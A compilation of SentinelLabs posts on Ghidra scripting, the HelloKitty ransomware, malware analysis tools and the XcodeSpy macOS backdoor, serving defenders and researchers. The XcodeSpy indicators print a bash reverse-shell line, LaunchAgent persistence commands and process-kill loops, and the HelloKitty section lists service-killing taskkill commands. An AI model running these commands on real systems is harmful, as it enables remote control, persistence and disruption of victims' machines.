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A Guide to Ghidra Scripting Development for Malware Researchers

By: Marco Figueroa

Ghidra is one of the most popular software reverse engineering suites on the market, but there is always a need to add or customize a feature for different situations. Fortunately, Ghidra’s scripting capabilities are powerful and designed to enable users to solve unique problems when analyzing programs. SentinelOne’s VTgrep, for example, is a custom Ghidra scripting tool that has made a huge impact with reverse engineering malware. In this post, we will go over how to install GhidraDev, Ghidra’s API, Building Scripts and my Top 5 Ghidra Scripts.

Using Eclipse IDE Integration with Ghidra

When scripting with Ghidra, the logical choice for editing or creating scripts is the Eclipse IDE. Although Ghidra comes preinstalled with a basic scripting editor which is fine if you want to modify an existing script quickly, the integration that Ghidra provides with the Eclipse IDE is ideal for development and more complex editing tasks due to Ghidra’s plugin into the Eclipse environment. In this section, we will cover how to install Eclipse and get it ready for scripting.

Installation Steps:

  • Install Eclipse

  • Installing PyDev
    • To install the PyDev Extensions using the Eclipse Update Manager, select Help > Install New Software and enter the following link in the Work with section:
    • To confirm that PyDev has installed, select Window->Perspective->Open Perspective->Other, select PyDev and click Open.
  • Installing GhidraDev: GhidraDev provides support for developing scripts and modules in Eclipse
    • Browse to Help -> Install New Software
    • Click the Add button and then click Archive
    • Browse the Ghidra directory <path>/Ghidra/Extensions/Eclipse/GhidraDev/, select
    • Click OK -> Check Ghidra category
    • Click Next -> Next -> Finish
    • Make sure to click Install anyway and click Restart Now.

  • The next step is to configure the location where Ghidra is installed.
    • Browse to GhidraDev->Ghidra Installations.
    • Click the Add button and navigate to the location where Ghidra is installed then click Apply and Close.

To make sure that everything has been setup correctly:

  • Open Ghidra then open the Code Browser window and navigate to the Script Manager Window->Script Manager, or click on the green play button on the icon bar.
  • Next, select and hit the Eclipse button on the top right hand side of the window.
  • In the Eclipse application, a window opens to Create a New Ghidra Project.
  • Click Next -> Next and enable the Jython interpreter that comes with Ghidra and click Finish.

Once this is done, you will be able to view the python script you’ve just opened.

In the left side pane, click the GhidraScripts disclosure button to view the Ghidra scripts already installed:

Ghidra’s API

One of the good things about the Ghidra API is it’s the same for both Java and Python, so you can use the Java scripts that are in the Scripts Manager as a guide to learn how functions are used and how they are called to make your script work. An example would be if you opened in Eclipse.

Let’s explore this file as an example of how to dissect Ghidra’s API.

Open Ghidra’s code browser and select Window->Python. Once you’re in the interpreter in Ghidra’s code browser, explore currentProgram in this script, which returns an object containing the program’s hash.

The way I’ve learned Ghidra’s API was by using the help command in the python interpreter. Type help(currentProgram) to show the capabilities of the call. Ghidra’s API documentation is very informative.

Let’s dig deeper to learn more about the API. Type the same command but add a . and hit tab currentProgram. This allows you to see what you can call in the current program. You can see currentProgram.getListing(), but let’s select something different to understand how it works.

I’m going to select a SHA256 hash to display the hash like the screenshot below. Try hitting the Up button and select something that interests you.

The last example that I will give of the Ghidra API is how to get user input when working with scripts. The askBytes() function takes two arguments. The first argument is the title of the popup box and the second is the message to display next to the input field. I constantly use askBytes() for plugins that I write because it’s so handy when I need to add something. I will demonstrate this in the next section.

There are many resources online showing examples on how to work with Ghidra’s APIs. For the final piece of this section I will go over some of the commonly used Ghidra API methods that I use.

  • currentProgram.getExecutablePath(): gather information about the current program within a project
  • currentProgram.getName(): return the loaded program’s name
  • currentProgram.getMemory().getBlocks(): return a list of all memory blocks that contain any addresses in a given range
  • getFirstFunction(): retrieve the first function in the loaded binary
  • currentProgram.getFunctionManager(): manage all functions within the program
  • getGlobalFunctions(String Name): return a list of all functions in the global namespace with the given name
  • DirectedGraph(): creation of various graph structures including directional graphs and much more
  • DecompInterface(): a self-contained interface to a single decompile process, suitable for an open-ended number of function decompilations for a single program. I highly recommend looking at the API docs to dig deeper into this because it could be a blog post by itself.

Building Ghidra Scripts

Early in my reverse engineering career, I had a mentor that gave me a great tip. What he shared with me has stuck with me ever since, which was that for any task that you do find yourself doing three times, you must figure out a way to automate it. After that recommendation, I’ve always had the habit to build scripts to help me with mundane tasks. In this section, we will build some simple but useful scripts that will help with mundane tasks while reverse engineering.

Adding to an Existing Script

For this example, you will need to install the binwalk tool and ensure that it is in your $path. For Ubuntu, use apt-get install binwalk; for Mac users either sudo port install binwalk (for MacPorts) or brew install binwalk (for Homebrew); Windows users should follow this link for further instructions.

Browse to the binwalk plugin repo on github and download or copy the text, then add it to your python scripts folder /GhidraScripts/Ghidra Python Scripts. Download a random firmware binary. If you don’t know where to download firmware, a simple web search for “firmware downloads” will return a number of options.

Add the file into the Ghidra Python scripts folder, and open up Eclipse IDE->Ghidra Python scripts->

Load the downloaded firmware that you’ve selected and open the code browser, then Scripts and find and run the script.

If you look at the script, the subprocess call runs the -c switch, which logs results to the file in a CSV format, and the -f switch, which logs the results to a file. This useful script bookmarks things it finds, as the picture below shows, with the Category name “binwalk”, a description, and a location.

Next, we are going to create a function that allows the reverse engineer to specify a switch for the binwalk to read and execute the input. Instead of just writing the code, I’m going to show you the screenshots and with what you’ve read in this post, you should be able to finish the script without me writing the code for you.

The screenshot below is a popup to enter the switch -e, which extracts any files that it finds in the firmware image. The next thing you have to do is to point it to a directory where the file is located and save all the files into that folder.

Explore the Existing Ghidra Scripts

Great! We’ve seen how easy it is to add and edit scripts, but there are naturally many useful scripts already included in Ghidra. No one wants to waste time reinventing the wheel, so let’s see what we already have at our disposal.

Let’s begin with the folder structure:

  • JUnit4 is an open source unit-testing framework for writing repeatable tests in Java.
  • JRE System Library is a folder that gets automatically added once Java Projects are created.
  • Referenced Libraries are libraries that are associated with Ghidra
  • Ghidra is where the the ghidra installation is located
  • Ghidra * scripts are folders where you’ll find the collection of existing scripts. There are over 100 scripts and many of them are very useful, so as noted above, check out what’s here before investing your time writing something that may already have been written for you!
  • I’m going through this because I feel it’s important, but for creating new scripts I usually just go to the Ghidra Python scripts folder and create a python file. Alternatively, you can go GhidraDev->New->Ghidra Script, which allows you to enter the script name, script type, Script author, Script category and Script description. Creating a Ghidra Script Project allows you to enter a project name, select the Project root directory and create a run configuration. This feature is good if you were creating multiple scripts.

    The last one is creating a Ghidra Module Project, which collects code from Ghidra Module template and adds it to your newly created module.

    Let’s Write Our First Complete Ghidra Script

    With that being said, go to your Ghidra Python Scripts folder, right click on the folder and create a file and name it

    The script’s metadata is important for the end user of the script, so the first thing we want to add is some lines to the beginning of the python script.

    The first line is where you would add your metadata comment on how you would use the script, which will allow the end user to read the comments by clicking on the script in the Script Manager’s window.

    Next, you can optionally add the author’s name.

    The third line is for the Category, which allows you to set where the script will be saved to in the Script Manager’s window.

    The menupath is the top-level menu path for the script and the last option to add is toolbar, which allows you to create an icon for the script. The image will appear on the toolbar as a button to launch the script.

    The next step is to write the script that you want to create. For this script, we want to write a script that will run a command locally. When reversing malware, I usually run a whois on domains and IP addresses that I find. The following screenshot shows the code with comments so that you can understand the purpose of each line.

    After saving this code, if you browse to the Script Manager window in Ghidra, you will see the file, with the metadata information you provided in lines 1-6 displayed.

    To use the script, enter any OS command of your choice and the Ghidra script will run it and output the results in the console window.

    Top 5 Ghidra Scripts

    So, that’s a short intro to get you started with the incredibly useful world of Ghidra scripting!

    As I’ve said above, automation is really the key to becoming a more effective and productive malware analyst, and Ghidra scripting is an essential tool in your arsenal.

    Above, we also learned that there are many scripts provided by default in the Ghidra installation, meaning you don’t have to develop everything from scratch and you can learn from the scripts provided.

    Finally, I want to end with my top scripts for malware research using Ghidra. I have no doubt you will find them as incredibly useful on a daily basis as I do. Check them out:

  1. VTGrep:
    This plugin integrates functionality from VirusTotal web services into the GHIDRA’s user interface. The current version is v0.1, This plugin is not production-ready yet, and unexpected behavior can still occur and released without any warranty. This release integrates VTGrep into GHIDRA, facilitating the searching for similar code, strings, or sequences of bytes. Watch the how to video to understand how to use VTGrep.
  2. Binwalk:
    Runs binwalk on the current program and bookmarks the findings. Requires binwalk to be in $PATH.
  3. Yara:
    This Ghidra script provides a YARA search. It will place a PRE_COMMENT at the location of each match. It will set bookmarks for each match.
  4. Golang Renamer:
    Restores function names from a stripped Go binary.
  5. Daenerys:
    Daenerys is an interop framework that allows you to run IDAPython scripts under Ghidra and Ghidra scripts under IDA Pro with little to no modifications.

The post A Guide to Ghidra Scripting Development for Malware Researchers appeared first on SentinelLabs.

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HelloKitty Ransomware Lacks Stealth, But Still Strikes Home

By: Jim Walter

Game studio CD Projekt Red recently disclosed that it became a victim of a targeted, highly-impactful ransomware. In the days following the disclosure, it was revealed that the ransomware family most likely behind the attack was “HelloKitty”.

HelloKitty is a ransomware family that emerged in late 2020. While it lacks the sophistication of some of the more well-known families such as Ryuk, REvil, and Conti, it has nevertheless struck some notable targets, including CEMIG0. In this post, we analyse a recent HelloKitty sample and outline the basic behaviors and traits associated with this family of ransomware.

Execution and Behavior

The “HelloKitty” name is based on internal mutex names, which are apparent upon execution.

While still somewhat unclear, current intelligence indicates that the primary delivery method of HelloKitty binaries is via phish email or via secondary infection in conjunction with other malware.

Once launched, HelloKitty will attempt to disable and terminate a number of processes and services so as to reduce interference with the encryption process. This includes processes and services associated with IIS, MSSQL, Quickbooks, Sharepoint, and more. These actions are carried out via taskkill.exe and net.exe.

In the analyzed sample, this is all done in a very non-stealthy manner. All spawned CMD windows are in the foreground and fully visible. This ‘lack of discreteness’ is atypical for modern ransomware, or any successful malware, for that matter.

A full list of processes from the analyzed sample are listed below:

"IBM Domino Server(CProgramFilesIBMDominodata)"
"IBM Domino Diagnostics(CProgramFilesIBMDomino)"
"Simply Accounting Database Connection Manager"

Additional processes and services that are terminated are identified via PID. For example:

taskkill.exe /f /PID "8512"
taskkill.exe /f /PID "8656"

If HelloKitty is unable to stop any specific processes or services, it will leverage the Windows Restart Manager API to further assist in termination.

HelloKitty will also utilize WMI to gather system details and help identify running processes and any potentially problematic processes. This is done both by name and by PID. A number of examples are shown below:

start iwbemservices::execquery - root\cimv2 : select __path, processid, csname, caption, sessionid, threadcount, workingsetsize, kernelmodetime, usermodetime, parentprocessid from win32_process

start iwbemservices::execquery - root\cimv2 : select __path, processid, csname, caption, sessionid, threadcount, workingsetsize, kernelmodetime, usermodetime, parentprocessid from win32_process where (  caption = "store.exe")

start iwbemservices::execquery - root\cimv2 : select __path, processid, csname, caption, sessionid, threadcount, workingsetsize, kernelmodetime, usermodetime, parentprocessid from win32_process where (  caption = "wrsa.exe")

start iwbemservices::execquery - root\cimv2 : select __path, processid, csname, caption, sessionid, threadcount, workingsetsize, kernelmodetime, usermodetime, parentprocessid from win32_process where (  processid = 3036)

start iwbemservices::execquery - root\cimv2 : select __path, processid, csname, caption, sessionid, threadcount, workingsetsize, kernelmodetime, usermodetime, parentprocessid from win32_process where (  processid = 4460)

start iwbemservices::execquery - root\cimv2 : select __path, processid, csname, caption, sessionid, threadcount, workingsetsize, kernelmodetime, usermodetime, parentprocessid from win32_process where (  processid = 3052)

start iwbemservices::execquery - root\cimv2 : select __path, processid, csname, caption, sessionid, threadcount, workingsetsize, kernelmodetime, usermodetime, parentprocessid from win32_process where (  processid = 4476)

start iwbemservices::execquery - root\cimv2 : select __path, processid, csname, caption, sessionid, threadcount, workingsetsize, kernelmodetime, usermodetime, parentprocessid from win32_process where (  processid = 1560)

start iwbemservices::execquery - root\cimv2 : select __path, processid, csname, caption, sessionid, threadcount, workingsetsize, kernelmodetime, usermodetime, parentprocessid from win32_process where (  processid = 8124)

start iwbemservices::exe

Encryption and Ransom Note

Encryption is initiated and completed very quickly once applicable services and processes have been terminated. Specific encryption recipes and routines can vary across variants of HelloKitty. Generally speaking, they tend to use a combination of AES-256 & RSA-2048 or even NTRU+AES-128.

Once encrypted, affected files receive the .crypted extension.

Ransom notes are typically customized to directly reference the victim and victim’s environment. Victims are instructed to visit a TOR-based payment and support portal. The following example has been sanitized:

It is also important to note that as of this writing, the onion address associated with HelloKitty ransom notes is not active.



HelloKitty may be easier to spot than other modern ransomware families, but upon execution it is no less dangerous. There are currently no known ‘weaknesses’ in the encryption routines, and there are no thirdy-party decrypters available for the HelloKitty ransomware. Therefore, the only true defense is prevention. While this family does not appear to be actively leaking victim data at the moment, that could change at any point, in addition to them choosing to adopt some of the more recent extortion methods that go along with ransomware (DDoS).

Actors behind the more recent campaign(s) are reportedly attempting to auction the CD Projekt data off in various ‘underground’ forums. At present this sale of this data does appear to be legitimate. Time will tell if additional victim data is dealt with in the same way.

To protect yourself against HelloKitty, make sure you are armed with a modern Endpoint Security platform, which is configured correctly and up to date. The SentinelOne Singularity Platform is fully capable of preventing and detecting all malicious behaviors associated with the HelloKitty ransomware family.




Data from Local System – T1005
Modify Registry – T1112
Query Registry – T1012
System Information Discovery – T1082
Data Encrypted for Impact – T1486
File Deletion – T1070.004
Command and Scripting Interpreter: Windows Command Shell – T1059.003
Windows Management Instrumentation – T1047

The post HelloKitty Ransomware Lacks Stealth, But Still Strikes Home appeared first on SentinelLabs.

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Top 15 Essential Malware Analysis Tools

By: Marco Figueroa

Malware analysis plays an essential role in avoiding and understanding cyber attacks. When incident response teams are brought into an an incident involving malware, the team will typically gather and analyze one or more samples in order to better understand the attacker’s capabilities and to help guide their investigation. As organizations deal with an increasing number of attacks and breaches, analysts are always looking for ways to triage and understand samples faster and more efficiently. In this post, we dive into the top 15 Essential Malware Analysis Tools used by researchers today. All 15 tools listed are free or have a community version that is free, and these offer a great way to see if a tool suits your needs. For professional use, the paid versions where available are highly recommended.


1. IDA Pro/Ghidra

IDA Pro has been the go to SRE (Software Reverse Engineering) Suite for many years until Ghidra’s release in 2019. Since then Ghidra’s popularity has grown exponentially due to it being a free open-source tool that was developed and is still maintained by the NSA. If you do not have an IDA Pro license and do not have thousands of dollars to spend on IDA Pro, then Ghidra is for you. Since I use both of them I will also list my top 5 favorite plugins for each.

IDA Pro:



2. Windbg

Windows Debugger is a multipurpose debugger for the Microsoft Windows OS. Malware reverse engineers have used this in the past, but now there are other alternatives on the entry-level malware analyst market. Windbg has a steep learning curve, so check out some of the numerous video tutorials and websites to help learn the essential commands when debugging.

Some of the benefits of using Windbg over other debuggers besides debugging user-mode applications are device drivers, and the operating system itself in kernel mode.

3. x32/x64 Debugger

x64dbg is an open-source binary debugger for Windows aimed at malware analysis and reverse engineering of executables. There are many features available, and it comes with a comprehensive plugin system. You can find many plugins for this debugger on the plugins wiki page.

x64dbg has become one of the most popular debugging software for malware due to its ease of use and its GUI interface, making it easy to understand things.

Hex Editors

4. HxD

HxD is a free hex editor, disk editor, and memory editor for Windows. Other primary options include tagging sections of memory, searching for unique types of data, modifying the direction of these searches, and exporting any information in various outputs. There is no limit in terms of the number of times an action can be undone.

5. Hiew

Hacker’s View (Hiew) is a program that allows you to visualize files. Hiew’s main function is to display hex files for people who want to change a few bytes in the code, but it is also  capable of much more. Hiew additionally contains tools for detailed dumps of OMF/COFF object files and libraries and NE/LE/LX/PE/ELF executables. It is also useful for splitting and joining dual executables. This tool is a go-to tool for many malware analysts. HIEW cycles through string types ASCll, Odd and Unicode, and can find strings many other tools don’t. If you want to see how good it is, the creator of Hiew, Yuri Slobodyanyuk, has created an in-depth tutorial that is great.

6. Cerbero Suite

The Cerbero Suite is branded as “The Hacker’s Multitool”. I initially came across this tool when I was looking for an advanced hex editor years ago. This tool suite has added so many features in the last two years that I use this just as much as any tool listed in this blog. The Cerbero Suite has a hex editor with advanced features and lets you define layout elements such as structures and code. It can analyze many different file formats.

Over the last year, the Cerbero Suite has added a Carbon disassembler engine that integrates with the Sleigh decompiler that Ghidra uses. You can also perform Windows memory analysis on physical memory images, hibernation files, and crash dumps.


7. Process Monitor

Process Monitor is an advanced monitoring tool for Windows that shows real-time file system, Registry, and process/thread activity. Process Monitor includes robust monitoring and filtering capabilities, boot time logging of all operations, data captured for operation input and out params, and provides reliable capture of process details. The process tree tool shows the relationships of all processes referenced in a trace, and much more.

8. Autoruns

This utility, which has the most comprehensive knowledge of auto-starting locations of any startup monitor, shows you what programs are configured to run during system bootup or login, and when you start various built-in Windows applications like Internet Explorer, Explorer, and media players. Autoruns shows you the currently configured auto-start applications as well as the full list of Registry and file system locations available for auto-start configuration.

Autostart locations displayed by Autoruns include logon entries, Explorer add-ons, Internet Explorer add-ons, including Browser Helper Objects (BHOs), Appinit DLLs, image hijacks, boot execute images, Winlogon notification DLLs, Windows Services and Winsock Layered Service Providers, media codecs, and more. Switch tabs to view autostarts from different categories.

PE Analysis

9. PE-bear

PE-bear is a freeware reversing tool for PE files. It is a viewer/editor for PE32 and PE64 files.You can view multiple files in parallel and it recognizes known packers by signature. PE Bear is very useful for visualizing a PE section layout, and it allows you to add new elements among many other features.

10. PE Studio 

The goal of PE Studio is to spot artifacts of executable files in order to ease and accelerate Malware Initial Assessment. Some of PE Studio’s features are detecting file signatures, hard-coded URLs and IP addresses, metadata, imports, exports, strings, resources, manifest, rich-header, Mitre ATT&CK matrix and retrieval of VirusTotal scores.

11. pefile

The pefile tool is a multi-platform Python module to parse and work with Portable Executable (PE) files. Most of the information contained in the PE file headers is accessible, as well as all the sections’ details and data. The structures defined in the Windows header files will be accessible as attributes in the PE instance. When scripting in python and you wanted to analyze a large data set of binary, Pefile is the a great tool to use.

Other Useful Tools

12. Yara

YARA is primarily used in malware research and detection. It provides a rule-based approach to create descriptions of malware families based on textual or binary patterns. A description is essentially a YARA rule name, plus a sets of strings to search for and a boolean expression that controls the logic of the search. Yara rules plays an important role in Threat Intelligence and are very fast when scanning large datasets.

13. Dependency Walker

Dependency Walker is a free program for Microsoft Windows used to list the imported and exported functions of a portable executable file. It also displays a recursive tree of all the dependencies of the executable file. Dependency Walker was included in Microsoft Visual Studio until Visual Studio 2005 and Windows XP SP2 support tools.

14. dnSpy

dnSpy is a debugger and .NET assembly editor. You can use it to edit and debug assemblies even if you don’t have any source code available. The main features of dnSpy are its debug and edit features. This is a must have tool when reversing malware written in C#

  • Debug .NET and Unity assemblies
  • Edit .NET and Unity assemblies

15. Burp Suite

Burp Suite Professional is one of the most popular penetration testing tools available today, and is also helpful when you want to use burp for SSL interception. This will help when malware encrypts the traffic over SSL. Burp Suite is great to help you capture all of this traffic and more.


These 15 tools are all an essential part of my malware analysts toolkit, and I encourage you to become familiar with each one, as they will greatly enhance your ability to quickly and effectively triage and analyze new samples.

The post Top 15 Essential Malware Analysis Tools appeared first on SentinelLabs.

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New macOS Malware XcodeSpy Targets Xcode Developers with EggShell Backdoor

By: Phil Stokes

Executive Summary

  • Threat actors are abusing the Run Script feature in Apple’s Xcode IDE to infect unsuspecting Apple Developers via shared Xcode Projects.
  • XcodeSpy is a malicious Xcode project that installs a custom variant of the EggShell backdoor on the developer’s macOS computer along with a persistence mechanism.
  • The backdoor has functionality for recording the victim’s microphone, camera and keyboard, as well as the ability to upload and download files.
  • The XcodeSpy infection vector could be used by other threat actors, and all Apple Developers using Xcode are advised to exercise caution when adopting shared Xcode projects.
  • SentinelOne Singularity protects against XcodeSpy. We also provide a simple method developers can use to scan their Xcode repositories for XcodeSpy in this post.


This year has brought two disturbing new trends into prominence: the targeting of developers and the use of supply chain attacks to infect broad swaths of customers. Targeting software developers is the first step in a successful supply chain attack. One way to do so is to abuse the very development tools necessary to carry out this work. In Jan 2021, Google TAG announced their discovery of a North Korean campaign targeting security researchers and exploit developers. One of the methods of infection entailed the sharing of a Visual Studio project designed to load a malicious DLL. In this post, we discuss a similar attack targeting Apple developers through malicious Xcode projects.

We recently became aware of a trojanized Xcode project in the wild targeting iOS developers thanks to a tip from an anonymous researcher. The malicious project is a doctored version of a legitimate, open-source project available on GitHub. The project offers iOS developers several advanced features for animating the iOS Tab Bar based on user interaction.

The XcodeSpy version, however, has been subtly changed to execute an obfuscated Run Script when the developer’s build target is launched. The script contacts the attackers’ C2 and drops a custom variant of the EggShell backdoor on the development machine. The malware installs a user LaunchAgent for persistence and is able to record information from the victim’s microphone, camera, and keyboard.

We have discovered two variants of the payload, custom backdoors which contain a number of encrypted C2 URLs and encrypted strings for various file paths. One encrypted string in particular is shared between the doctored Xcode project and the custom backdoors, linking them together as part of the same ‘XcodeSpy’ campaign.

At this time, we are aware of one ITW case in a U.S. organization. Indications from our analysis suggest the campaign was in operation at least between July and October 2020 and may also target developers in Asia.

We have thus far been unable to discover other samples of trojanized Xcode projects and cannot gauge the extent of this activity. However, the timeline from known samples and other indicators mentioned below suggest that other XcodeSpy projects may exist. By sharing details of this campaign, we hope to raise awareness of this attack vector and highlight the fact that developers are high-value targets for attackers.

The simple technique for hiding and launching a malicious script used by XcodeSpy could be deployed in any shared Xcode project. Consequently, all Apple developers are cautioned to check for the presence of malicious Run Scripts whenever adopting third-party Xcode projects. We provide a simple method developers can use to scan their existing local Xcode repositories in the Detection and Mitigation section below.

Abusing Xcode’s Run Script Functionality

XcodeSpy takes advantage of a built-in feature of Apple’s IDE which allows developers to run a custom shell script on launching an instance of their target application. While the technique is easy to identify if looked for, new or inexperienced developers who are not aware of the Run Script feature are particularly at risk since there is no indication in the console or debugger to indicate execution of the malicious script.

The sample we analyzed used a copy of a legitimate open-source project that can be found on Github called TabBarInteraction. For the avoidance of any doubt, the code in the Github project is not infected with XcodeSpy, nor is the developer, potato04, implicated in any way with the malware operation.

In the doctored version of TabBarInteraction, the obfuscated malscript can be found in the Build Phases tab. By default, the Run Script panel is not expanded, further aiding the malware’s bid to avoid detection by casual inspection.

Clicking the disclosure button reveals the existence of the obfuscated script.

The obfuscation is rather simple and the output can be inspected safely by substituting eval with echo and running the script in a separate shell.

The script creates a hidden file called .tag in the /tmp directory, which contains a single command: mdbcmd. This in turn is piped via a reverse shell to the attackers C2.

As we went to press today, the sample was not detected by any of the static engines on VirusTotal.

Linking XcodeSpy to a Custom EggShell Backdoor

By the time we discovered the malicious Xcode project, the C2 at cralev[.]me was already offline, so it was not possible to ascertain directly the result of the mdbcmd command. Fortunately, however, there are two samples of the EggShell backdoor on VirusTotal that contain the telltale XcodeSpy string /private/tmp/.tag.


These samples were both uploaded to VirusTotal via the Web interface from Japan, the first on August 5th and the second on October 13th.

The later sample was also found in the wild in late 2020 on a victim’s Mac in the United States. For reasons of confidentiality, we are unable to provide further details about the ITW incident. However, the victim reported that they are repeatedly targeted by North Korean APT actors and the infection came to light as part of their regular threat hunting activities.

The samples uploaded from Japan to VirusTotal came from users who were not signed in to a VirusTotal account, so it is impossible to say whether they came from the same source or two different sources. Nonetheless, they are both linked to each other and the Xcode project via containing the string P4CCeYZxhHU/hH2APz6EcXc=, which turns out to be an encrypted version of the /private/tmp/.tag string found in the malicious Xcode project.

The EggShell backdoors use a simple string encryption technique. Decryption involves passing an encrypted string to the [StringUtil decode:] method, which encodes the encrypted string in base64, then iterates over each byte, adding 0xf0 to it. This produces a printable ASCII character code which is then concatenated to produce the full string.

We can implement our own decoder in Objective-C based on the pseudo code above to decrypt the strings in the Mach-O binaries.

Decoding further strings in both variants reveals a number of hardcoded URLs used for uploading data from the victim’s machine.

Where data exists, all these domains from the backdoor binaries were first seen or first “whois”-queried on the 10th or 11th of September.

The domain cralev[.]me from the malicious Xcode project was also first seen on the 10th of September.

The doctored version of the TabBarInteraction Xcode project was itself first seen on VirusTotal a week earlier, on 4th September.

The juxtaposition of these dates leads us to speculate that the attackers themselves may have uploaded the XcodeSpy project file to VirusTotal to test detection before activating their C2s. Aside from the suppro[.]co and cralev[.]me domains, the others appear to be inactive or unregistered, perhaps awaiting future use. Interestingly, the country code available from VT about the XcodeSpy uploader’s location is ‘ZZ’ – unknown.

Meanwhile, the EggShell backdoor variants were each first seen on VirusTotal some two months apart (5th August and 13th October). If the backdoors were uploaded by victims rather than the attackers (an assumption that is by no means secure), that would indicate that the first custom EggShell binary may have been a payload for an earlier XcodeSpy sample. However, we cannot assign great confidence to these speculations based on the available data. What we do know is that the first EggShell payload was uploaded a full month before the known dropper and over two months before the second payload was seen on VirusTotal on 13th October.

EggShell Execution Behavior

On execution, the customized EggShell binaries drop a LaunchAgent either at ~/Library/LaunchAgents/ or ~/Library/LaunchAgents/ This plist checks to see if the original executable is running; if not, it creates a copy of the executable from a ‘master’ version at ~/Library/Application Support/ then executes it.

The EggShell also drops a zero byte file at /private/tmp/wt0217.lck, and a data file at ~/Library/Application Scripts/ A number of other filepaths are also encrypted in the binaries (see the IoCs at the end of this post for a full list). Almost all of these paths have been customized by the attacker. However, one encrypted string decrypts to /tmp/.avatmp, a default path found in the public EggShell repo for storing AV captures.

The source code in the public EggShell repo contains various functions for persistence, screen capture and AV recording, among other things.

Analysis of the compiled XcodeSpy variants found in the wild and on VirusTotal implement these as well as their own custom data encoding and keylogging methods.

Detection and Mitigation

A full list of known IoCs is provided at the end of this post. As all C2s, path names and encrypted strings are highly customizable and easy to change, these may only be useful as indicators of past compromise for these particular samples. Therefore, a behavioral detection solution is required to fully detect the presence of XcodeSpy payloads.

Threat hunters and developers concerned as to whether they have inadvertently downloaded a project containing XcodeSpy can run a manual search with the following on the command line:

find . -name "project.pbxproj" -print0 | xargs -0 awk '/shellScript/ && /eval/{print "\033[37m" $0 "\033[31m" FILENAME}'

This searches for Run Scripts in the Build Phases part of an Xcode project (within the project.pbxproj file) containing both the strings shellScript and eval. If any are found, it prints out a copy of the script for inspection, along with the filename in which it was found.

The following example searches for XcodeSpy in the Documents folder and all its subfolders.

Users should switch to the appropriate parent folder in which they save Xcode projects before running the command.

Individual projects can of course be inspected for malicious Run Scripts via the Build Phases tab in the Xcode project navigator.


This is not the first time threat actors have used Xcode as a vector to infect Apple platform developers. In 2015, XcodeGhost offered iOS developers in China a version of Xcode that downloaded faster from local mirrors than from Apple’s servers. What the recipients didn’t know was that the version of Xcode they received had been altered to inject malicious code into any apps compiled with it. Apps compiled with XcodeGhost could be used by the attackers to read and write to the device clipboard, open specific URLs (e.g., WhatsApp, Facebook) and exfiltrate data to C2s. In effect, XcodeGhost was a supply chain attack, infecting downstream victims by means of third-party software.

In contrast, XcodeSpy takes the form of a trojanized Xcode project, making it lighter and easier to distribute than a full version of the Xcode IDE. While XcodeSpy appears to be directly targeted at the developers themselves rather than developers’ products or clients, it’s a short step from backdooring a developer’s working environment to delivering malware to users of that developer’s software.

It is entirely possible that XcodeSpy may have been targeted at a particular developer or group of developers, but there are other potential scenarios with such high-value victims. Attackers could simply be trawling for interesting targets and gathering data for future campaigns, or they could be attempting to gather AppleID credentials for use in other campaigns that use malware with valid Apple Developer code signatures. These suggestions do not exhaust the possibilities, nor are they mutually exclusive.

We hope that this publication will raise awareness of this threat, and we would be very interested to hear from other researchers or individuals that find evidence of XcodeSpy infections in the wild.

Indicators of Compromise

URLs & Resolving IPs

EggShell bins: */.update
SHA 256: 6d93a714dd008746569c0fbd00fadccbd5f15eef06b200a4e831df0dc8f3d05b
SHA 1: 556a2174398890e3d628aec0163a42a7b7fb8ffd
SHA 256: cdad080d2caa5ca75b658ad102987338b15c7430c6f51792304ef06281a7e134
SHA 1: 0ae9d61185f793c6d53e560e91265583675abeb6
SHA 256: 6a1f7edf41ac2d52e3d0442b825bbdaf404199ed8b45b33ecd52a58acc12087a
SHA 1: 4d1006610a4fe903b6b9fdb41cff7fc88b3a580c

Xcode proj:
SHA 256: 1cfa154d0145c1fe059ffe61e7b295c16bbc0e0b0e707e7ad0b5f76c7d6b66d2
SHA 1: d65334d6c829955947f0ceb2258581c59cfd7dab

Encoded Filepaths
~/Library/Application Scripts/
~/Library/Application Scripts/
~/Library/Application Scripts/
~/Library/Application Scripts/
~/Library/Application Support/
~/Library/Application Support/

Behavioral Indicators
killall %@;sleep 3;cp "%@" "%@";chmod +x "%@";"%@" %@ 1>/dev/null 2>/dev/null
if (! pgrep -x %@ >/dev/null);then cp "%@" "%@";chmod +x "%@";"%@";fi;
sleep 1;launchctl unload "%@" > /dev/null;launchctl load "%@" > /dev/null
launchctl unload "%@" 2>/dev/null; rm "%@"
echo mdbcmd > /private/tmp/.tag;bash&> /dev/tcp/ 0>&1 &

Application Layer Protocol: Web Protocols | XcodeSpy can use HTTPS in C2 Communications T1071 001.
Create or Modify System Process: Launch Agent | XcodeSpy can establish persistence via a LaunchAgent T1543 001.
File and Directory Discovery | XcodeSpy can scan directories on a compromised host T1083.
Hide Artifacts: Hidden Files and Directories | XcodeSpy hides several files with a dot prefix to make them hidden from view in the Finder application T1564 001.
Ingress Tool Transfer | XcodeSpy can download its payload from a C2 server T1105.
Masquerading | XcodeSpy drops several files at paths using the “” reverse identifier and in subfolders named after legitimate macOS system software (TextEdit, Preview) T1036.
Input Capture: Keylogging | XcodeSpy can log user keystrokes to intercept credentials as the user types them T1056 001.
Input Capture: GUI Input Capture | XcodeSpy can prompt users for credentials with a seemingly legitimate prompt via AppleScript T1056 002.
Process Discovery | XcodeSpy can collect data on running and parent processes T1057.

The post New macOS Malware XcodeSpy Targets Xcode Developers with EggShell Backdoor appeared first on SentinelLabs.

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Keep Malware Off Your Disk With SentinelOne’s IDA Pro Memory Loader Plugin

By: Roman Rusetsky

Recent events have highlighted the fact that security researchers are high value targets for threat actors, and given that we deal with malware samples day in and day out, the possibility of either an accidental or intentional compromise is something we all have to take extra precautions to prevent.

Most security researchers will have some kind of AV installed such that downloading a malicious file should trigger a static detection when it is written to disk, but that raises two problems. If the researcher is actively investigating a sample and the AV throws a static detection, this can hamper the very work the researcher is employed to do. Second, it’s good practice not to put known malicious files on your PC: you just might execute them by mistake and/or make your machine “dirty” (in terms of IOCs found on your machine).

One solution to this problem would be to avoid writing samples to disk. As malware reverse engineers, we have to load malware, shellcode and assorted binaries into IDA on a daily basis. After a suggestion from our team member Kasif Dekel, we decided to tackle this problem by creating an IDA plugin that loads a binary into IDA without writing it to disk. We have made this plugin publicly available for other researchers to use. In this post, we’ll describe our Memory Loader plugin’s features, installation and usage.

Memory Loader Plugin

